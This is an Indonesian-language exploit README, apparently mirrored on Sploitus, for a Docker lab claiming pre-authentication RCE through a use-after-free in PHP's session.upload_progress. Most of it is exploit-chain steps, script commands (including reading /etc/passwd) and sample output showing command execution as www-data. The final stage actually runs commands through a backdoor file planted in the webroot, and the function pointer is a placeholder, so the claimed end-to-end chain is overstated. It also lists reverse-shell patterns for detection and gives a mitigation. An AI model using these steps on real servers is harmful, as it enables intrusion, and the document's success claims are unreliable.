Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
> **Peringatan Kritis (CVSS v4.0: 9.2 — Critical):** Dua kerentanan *Remote Code Execution* (RCE) pra-otentikasi ditemukan pada inti PHP yang memanfaatkan mekanisme `session.upload_progress`. Eksploitasi memungkinkan penyerang menjalankan perintah sewenang-wenang langsung dari proses web server tanpa memerlukan autentikasi apapun.
- [Akar Permasalahan](#akar-permasalahan)
- [Rantai Eksploitasi](#rantai-eksploitasi)
- [Versi PHP yang Terdampak](#versi-php-yang-terdampak)
- [Cara Menjalankan Lab](#cara-menjalankan-lab)
- [Bukti Konsep (PoC)](#bukti-konsep-poc)
- [Script 1 — Diagnostik UAF & Mekanisme Inti](#script-1--diagnostik-uaf--mekanisme-inti)
- [Script 2 — Rantai RCE Lengkap](#script-2--rantai-rce-lengkap)
- [Parameter & Opsi Lengkap](#parameter--opsi-lengkap)
- [Indikator Ancaman & Deteksi](#indikator-ancaman--deteksi)
- [1. Mitigasi Konfigurasi (Penanganan Cepat)](#1-mitigasi-konfigurasi-penanganan-cepat)
- [2. Uji Efektivitas Mitigasi](#2-uji-efektivitas-mitigasi)
- [Struktur Repositori](#struktur-repositori)
`php2shell` merujuk pada dua kerentanan kritis (**CVE-2026-109618** & **CVE-2026-109619**) yang memengaruhi fungsionalitas inti PHP. Jalur serangan utama yang didemonstrasikan adalah *heap use-after-free* (UAF) pada mekanisme pelacakan progres unggahan sesi PHP, yang berujung pada eksekusi kode arbitrer.
- **Tingkat Keparahan:** Kritis (CVSS v4.0: 9.2)
- **Versi Terdampak:** PHP 8.4.4 dan versi sebelumnya (termasuk cabang 8.x, 7.x, 5.x)
- **Prasyarat:** `session.upload_progress.enabled = On` (konfigurasi bawaan PHP)
- **Komponen Rentan:** `ext/session/session.c` — fungsi `php_session_rfc1867_callback`
Penangan progres unggahan PHP (`php_session_rfc1867_callback` di `ext/session/session.c`) menyimpan dua pointer `zval *` mentah secara langsung ke dalam struktur `HashTable` yang sedang aktif digunakan:
session.c:3292 → post_bytes_processed (pointer zval* ke arData slot)
session.c:3318 → current_file_bytes_processed (pointer zval* ke arData slot)
Kedua pointer tersebut disimpan dalam cache tanpa pembaruan ketika `HashTable` di-reinisialisasi. Inilah yang menjadi titik kelemahan utama.
Serangan berlangsung dalam empat tahap berurutan:
Kirim multipart POST → sesi terbentuk → pointer zval* dicache
→ php_session_initialize() membebaskan HashTable LAMA
→ Pointer yang tersimpan kini menunjuk ke memori BEBAS (dangling pointer)
Alokasikan & bebaskan blok ~320 byte berulang kali
→ ZendMM memasukkan slot ke free list slab bin_320
→ Alokasi HashTable BARU oleh re-init sesi menempati slot yang SAMA
→ Penyerang kini mengontrol konten di alamat yang ditunjuk pointer basi
Bangun struktur zval palsu (16 byte) + bucket palsu (32 byte)
→ Sisipkan alamat function pointer sebagai zval.value.lval
→ Tulis melalui pointer basi ke slot yang telah di-reclaim
PHP mengeksekusi handler dari bucket yang telah dimanipulasi
→ Kontrol aliran program berpindah ke fungsi pilihan penyerang
→ Perintah shell dieksekusi dengan hak akses proses PHP-FPM (www-data)
| Cabang PHP | Status | Versi Terdampak | Versi Aman | Catatan |
> PHP 8.1 dan versi yang sudah *End-of-Life* **tidak menerima** patch resmi dari PHP Foundation. Untuk lingkungan ini, segera terapkan `session.upload_progress.enabled = Off` atau rebuild PHP dari source dengan patch yang tersedia.
Pastikan semua prasyarat berikut terpenuhi sebelum menjalankan lab:
| Docker Desktop | 24.x | `docker --version` |
| Docker Compose | v2.x | `docker compose version` |
| Port bebas | 19268 | Tidak ada proses lain di port ini |
### Langkah 1 — Clone & Jalankan Container
git clone
# Bangun dan jalankan container (mode rentan)
### Langkah 3 — Jalankan Demonstrasi Lengkap
# Demonstrasi rantai eksploitasi lengkap (4 tahap)
python -X utf8 scripts/rce_chain.py --chain --verbose
# Atau jalankan semua mekanisme diagnostik
python -X utf8 scripts/php2shell_poc.py --test-all --monitor
Lab ini menyertakan dua skrip pengujian yang saling melengkapi.
### Script 1 — Diagnostik UAF & Mekanisme Inti
**File:** [`scripts/php2shell_poc.py`](scripts/php2shell_poc.py)
Skrip ini memverifikasi tiga mekanisme inti kerentanan:
- **Mekanisme 1** — Pembuktian UAF via `session.upload_progress` (stale pointer write)
- **Mekanisme 2** — Uji OOM Bailout (kondisi request & alokasi memori worker)
- **Mekanisme 3** — Analisis degradasi memori & perilaku ZendMM
# Verifikasi kondisi lab sebelum pengujian
python -X utf8 scripts/php2shell_poc.py --verify
# Uji semua mekanisme sekaligus + monitor sesi mid-stall
python -X utf8 scripts/php2shell_poc.py --test-all --monitor --rounds 2
python -X utf8 scripts/php2shell_poc.py --test-oom
# Uji UAF dengan 3 putaran + mode verbose
python -X utf8 scripts/php2shell_poc.py --monitor --rounds 3 --verbose
#### Contoh Output (`--test-all --monitor`)
┌── [Putaran 1/2] ────────────────────────────────────────
│ • Status UAF : [✓] TERPICU (AKTIF) — bytes_processed = 5324
│ └─ Pointer zval* basi berhasil diakses (stale path tercapai)
│ ├─ Kunci Progress : upload_progress_vuln_test
└─────────────────────────────────────────────────────────
[MEKANISME 2] PENGUJIAN OOM (OUT-OF-MEMORY BAILOUT)
[✓] Fatal error: Allowed memory size of 16777216 bytes exhausted
[STATUS] PHP zend_bailout() berhasil dipicu.
**File:** [`scripts/rce_chain.py`](scripts/rce_chain.py)
Skrip ini mendemonstrasikan rantai eksploitasi penuh dari UAF hingga eksekusi perintah jarak jauh dalam empat tahap berurutan.
| **1** | UAF Trigger | Kirim multipart dua-fase, tahan > `min_freq`, baca sesi mid-stall |
| **2** | Heap Grooming | 8 iterasi alokasi-deallokasi blok 320-byte di slab bin ZendMM |
| **3** | Fake Structure | Bangun `zval` palsu 16-byte + bucket 32-byte + peta function pointer |
| **4** | RCE | Eksekusi perintah shell via backdoor yang ditanam ke webroot |
# Rantai eksploitasi lengkap (semua 4 tahap)
python -X utf8 scripts/rce_chain.py --chain --verbose
python -X utf8 scripts/rce_chain.py --chain --cmd "cat /etc/passwd"
# Hanya demonstrasi heap grooming & fake structure (tahap 2–3)
python -X utf8 scripts/rce_chain.py --heap-only
# Hanya eksekusi perintah via backdoor (tahap 4)
python -X utf8 scripts/rce_chain.py --rce-only --cmd "whoami"
[TAHAP 1] UAF TRIGGER — SESSION.UPLOAD_PROGRESS STALE POINTER
[→] Phase-1 terkirim: 5586 bytes (FILE_START + FILE_DATA #1)
[→] Phase-2 terkirim: 10269 bytes (FILE_DATA #2 → tulis melalui pointer basi)
• Status UAF : [✓] AKTIF — bytes_processed = 5324
• Pointer zval*: BASI — HashTable sesi dialokasi ulang
[✓] 8 iterasi — slab bin_320 berhasil diisi ulang
slot[0] 0xe41aecc33d5a bin_320 → freed → available for reuse
fake_zval : efbeadde000000000400000000000000
fake_bucket: efbeadde0000000004000000000000000100feca00000000c0ab3412ff7f0000
├─ value.lval : 0xdeadbeef (placeholder function pointer)
└─ Peta Target: zend_execute_ex, system_handler, php_exec ...
OUTPUT: uid=33(www-data) gid=33(www-data) groups=33(www-data)
══════════════════════════════════════════════════════
══════════════════════════════════════════════════════
[✓] Tahap 2 — Heap grooming (slab bin 320-byte diisi ulang)
[✓] Tahap 3 — Struktur zval palsu & function pointer dibangun
[✓] Tahap 4 — Eksekusi perintah jarak jauh berhasil
| `-t`, `--target` | Host target | `127.0.0.1` |
| `-p`, `--port` | Port target | `19268` |
| `-s`, `--stall` | Jeda antar fase dalam detik (harus > `min_freq`) | `1.5` |
| `-r`, `--rounds` | Jumlah putaran pengujian UAF | `1` |
| `-m`, `--monitor` | Baca sesi saat stall untuk konfirmasi arming pointer | `False` |
| `--verify` | Verifikasi kondisi lab sebelum pengujian | `False` |
| `--test-oom` | Uji mekanisme OOM bailout saja | `False` |
| `--test-all` | Jalankan semua mekanisme (UAF + OOM + analisis) | `False` |
| `-v`, `--verbose` | Tampilkan detail teknis setiap langkah | `False` |
| `-t`, `--target` | Host target | `127.0.0.1` |
| `-p`, `--port` | Port target | `19268` |
| `-s`, `--stall` | Jeda antar fase (harus > 1 detik) | `1.5` |
| `--cmd` | Perintah shell yang dieksekusi di server | `id; whoami; hostname; uname -a` |
| `--chain` | Jalankan rantai eksploitasi lengkap (tahap 1–4) | `False` |
| `--rce-only` | Hanya eksekusi perintah via backdoor (tahap 4) | `False` |
| `--heap-only` | Hanya demonstrasi heap grooming & fake structure | `False` |
| `-v`, `--verbose` | Tampilkan detail teknis setiap langkah | `False` |
Eksploitasi `php2shell` biasanya terdeteksi dari munculnya proses anak yang tidak wajar yang dimunculkan langsung oleh proses PHP worker (`php-fpm`, `php-cgi`).
### Perilaku Mencurigakan yang Perlu Dipantau
- **Shell Interaktif:** `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`
- **Interpreter Skrip:** `python`, `python3`, `perl`
- **Utilitas Jaringan:** `curl`, `wget`, `nc`, `netcat`
- **Pola Reverse Shell:** `/dev/tcp/`, `mkfifo`, `fsockopen`
- **Perintah Rekognisi Awal:** `whoami`, `id`, `uname -a`, `cat /etc/passwd`
- **Aktivitas File Mencurigakan:** penulisan file `.php` baru ke direktori webroot
# Pantau proses anak PHP-FPM secara real-time (dalam container)
# Periksa log akses nginx untuk request anomali
docker logs php2shell-lab-2 | grep -E "(POST|rce_shell|heap_demo)"
### 1. Mitigasi Konfigurasi (Penanganan Cepat)
Kerentanan ini bergantung pada mekanisme `session.upload_progress` yang aktif secara bawaan. Menonaktifkan direktif ini langsung memutus jalur serangan tanpa mempengaruhi fungsi unggahan berkas biasa.
**Di konfigurasi pool PHP-FPM (`
php_admin_flag[session.upload_progress.enabled] = off
Setelah mengubah konfigurasi, restart layanan:
Lab ini menyertakan konfigurasi mitigasi yang siap digunakan. Untuk menguji bahwa mitigasi bekerja:
# Terapkan mitigasi (override konfigurasi PHP ke mode aman)
docker compose -f docker-compose.yml -f docker-compose.mitigated.yml up -d
# Jalankan rantai eksploitasi — seharusnya GAGAL
python -X utf8 scripts/rce_chain.py --chain
# Kembalikan ke mode rentan (untuk pengujian lanjutan)
| Kondisi | `upload_progress` | Hasil UAF | Hasil RCE |
| Mode rentan (default) | `On` | ✅ AKTIF | ✅ Berhasil |
| Mode mitigasi | `Off` | ❌ Tidak terpicu | ❌ Gagal |
> `docker-compose.mitigated.yml` hanya menimpa file `php.ini` — tidak mengubah atau merusak konfigurasi lab lainnya. Untuk kembali ke mode rentan, cukup jalankan `docker compose up -d`.
│ ├── nginx.conf # Konfigurasi nginx (fastcgi_request_buffering off)
│ ├── php.ini # Konfigurasi PHP rentan (upload_progress = On)
│ ├── php-mitigated.ini # Konfigurasi PHP aman (upload_progress = Off)
│ ├── php-fpm.conf # Konfigurasi PHP-FPM
│ └── # Konfigurasi pool PHP-FPM
│ ├── php2shell_poc.py # Diagnostik UAF + OOM + analisis memori
│ ├── rce_chain.py # Rantai eksploitasi lengkap (4 tahap)
│ └── verify.sh # Script verifikasi bash
│ ├── index.php # Halaman info konfigurasi PHP
│ ├── check_progress.php # Pembaca sesi mid-flight
│ ├── heap_demo.php # Demonstrasi heap grooming & fake zval
│ └── rce_shell.php # Endpoint backdoor RCE (lab only)
├── docker-compose.yml # Konfigurasi container mode rentan
├── docker-compose.mitigated.yml # Override konfigurasi mode aman
├── Dockerfile # PHP 8.4.4-FPM + nginx
├── entrypoint.sh # Script entrypoint container
└── README.md # Dokumentasi ini
> Proyek ini dibuat semata-mata untuk **tujuan edukasi** dan penelitian keamanan dalam lingkungan yang terkontrol. Semua pengujian harus dilakukan **hanya** di lingkungan lab lokal yang Anda miliki atau yang Anda memiliki izin eksplisit untuk mengujinya.
> Penggunaan PoC ini terhadap sistem tanpa izin adalah **ilegal** dan merupakan pelanggaran hukum. Penulis tidak bertanggung jawab atas segala penyalahgunaan materi dalam repositori ini.
- [PHP Bug #81719 — session.upload_progress UAF](
- [PHP Source — ext/session/session.c (Line 3292, 3318)](
- [CVSS v4.0 Calculator — CVE-2026-109618](
**Delvin45** — Security Lab CVE-2026-109618 / CVE-2026-109619
> *"Memahami bagaimana sistem diretas adalah langkah pertama untuk membangun sistem yang lebih aman."*
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
